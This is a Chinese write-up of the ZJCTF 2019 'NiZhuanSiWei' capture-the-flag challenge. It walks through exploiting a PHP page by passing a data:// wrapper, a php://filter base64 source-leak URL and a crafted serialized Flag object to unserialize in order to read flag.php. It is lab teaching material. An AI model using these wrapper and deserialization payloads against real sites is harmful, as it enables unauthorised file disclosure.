当前位置: 首页 > ds >正文

[ZJCTF 2019]NiZhuanSiWei

启动靶机,出现一段代码

这段代码介绍了,使用get方法传递三个参数text、file、password。并且使用了file_get_content()函数把文件读入一个字符串中,如果这个字符串与“ welcome to the zjctf ”相等,就行进行字符串输出。(注意所以在传参时不能直接写 text=welcome to the zjctf )

可以使用  data://text/plain,"字符串" 

并且如果我们传递 file 参数中含有 /flag/ 的路径 ,就会输出“ not now ”,反之就会在页面中引入我们传参页面文件的代码。

可以使用          

file=php://filter/read=convert.base64-encode/resource=文件名.php  

而我们传递的password 的值会进行反序列化操作。

PHP: 支持的协议和封装协议 - Manual https://www.php.net/manual/zh/wrappers.php

/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?> 

这个代码说明了如何可以取到flag,这里也定义了一个file属性,当它的值不为空时,就会读取file所指文件中的内容并输出。结合前面的unserialize()和这里的_tostring()

这里我们需要构造反序列化数据传递给 password ,来实现读取flag

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

介绍:

o:4:"Flag"   -->   一个object对象Flag,它的长度是4 

:1: --> 表示该对象有一个属性(成员变量)这个属性部分就是后面花括号所包裹的

s:4:"file";   -->  属性名为file,是一个长度为4的string字符串

s:8:"flag.php";  -->  属性值为flag.php,是一个长度为8的string字符串

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

F12查看代码获得flag{d471c18a-b9d1-46ca-9c3e-a8b025b18dec}

http://www.xdnf.cn/news/19379.html

相关文章:

  • 第2节:项目前期准备
  • C++抽象类
  • 【Python 后端框架】总结
  • Nginx反向代理与负载均衡
  • 基于单片机指纹考勤系统/智能考勤
  • DeepSeek应用技巧-通过MCP打造数据分析助手
  • YOLOv11 训练参数全解析:一文掌握 epochs、batch、optimizer 调优技巧
  • kali下sqlmap更新失败问题
  • PB-重装系统后,重新注册ole控件,pb中窗口控件失效的问题。
  • 不用公网IP也能?cpolar实现Web-Check远程安全检测(1)
  • 2025年09月计算机二级MySQL选择题每日一练——第十二期
  • 数据结构 | 深度解析二叉树的基本原理
  • 云存储(参考自腾讯云计算工程师认证)
  • 整体设计 的语言设计:通用模型语言的标准模板语言的规格模式语言--含输出(腾讯元宝答问)
  • 漏洞挖掘-信息收集教程
  • 阿里云营业执照OCR接口的PHP实现与技术解析:从签名机制到企业级应用
  • Jdk动态代理 Cglib动态代理
  • Linux 定时器:工作原理与实现机制深入分析
  • STL库——list(类模拟实现)
  • 复制VMware虚拟机后的网络配置
  • 算法---动态规划(持续更新学习)
  • k230 按键拍照后,将摄像头拍照的1920*1080分辨率的图片以jpg文件格式,保存到板载TF存储卡的指定文件夹目录中
  • 营业执照经营范围行业提取工具库项目方案解读(php封装库)
  • 项目管理在企业中的作用
  • Python 多线程日志错乱:logging.Handler 的并发问题
  • 什么是IO多路复用
  • ESPTimer vs GPTimer:ESP32 定时器系统深度解析
  • 【Java基础知识 19】继承
  • Spring注解演进与自动装配原理深度解析:从历史发展到自定义Starter实践
  • 197-200CSS3响应式布局,BFC